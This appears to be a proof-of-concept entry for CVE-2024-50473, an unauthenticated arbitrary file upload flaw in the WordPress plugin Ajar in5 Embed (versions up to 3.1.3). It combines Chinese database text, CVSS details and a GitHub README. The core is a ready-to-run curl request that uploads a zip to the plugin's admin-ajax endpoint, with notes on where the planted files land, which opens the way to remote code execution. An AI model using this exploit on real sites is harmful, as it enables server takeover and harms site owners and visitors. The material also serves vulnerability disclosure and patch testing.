CVE-2024-50473 PoC — WordPress plugin Ajar in5 Embed 代码问题漏洞

Source

https://github.com/RandomRobbieBF/CVE-2024-50473

Associated Vulnerability

Title:WordPress plugin Ajar in5 Embed 代码问题漏洞 (CVE-2024-50473)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin Ajar in5 Embed 3.1.3版本及之前版本存在代码问题漏洞，该漏洞源于允许危险类型文件无限制上传。

Description

Ajar in5 Embed <= 3.1.3 - Unauthenticated Arbitrary File Upload

Readme

# CVE-2024-50473
Ajar in5 Embed &lt;= 3.1.3 - Unauthenticated Arbitrary File Upload

# Description:
The Ajar in5 Embed plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in all versions up to, and including, 3.1.3. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.


```
Published: 2024-10-25 00:00:00
CVE: CVE-2024-50473
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS Score: 9.8
Slugs: ajar-productions-in5-embed
```

Note: Zip file must contain a index.html even if blank and you will get a 500 error which is normal.

The uploaded files for this will be found in /wp-content/uploads/2024/php5/ - php5 is the name of the zip file with out the extention.

POC
---

```
curl -X POST "http://kubernetes.docker.internal/wp-admin/admin-ajax.php?action=in5&in5=upload" \
-H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0" \
-H "Accept: application/json, text/javascript, */*; q=0.01" \
-H "Accept-Language: en-US,en;q=0.5" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Referer: http://kubernetes.docker.internal/wp-admin/post.php?post=4142&action=edit" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Content-Type: multipart/form-data" \
-F "customPath=wp-content/uploads/2024/" \
-F "files[]=@/path/to/php5.zip" \
--compressed
```

File Snapshot


 [4.0K]  /data/pocs/4f58fcd9a97b11e63f146fc846122d0c01df33b8
└── [1.4K]  README.md

0 directories, 1 file

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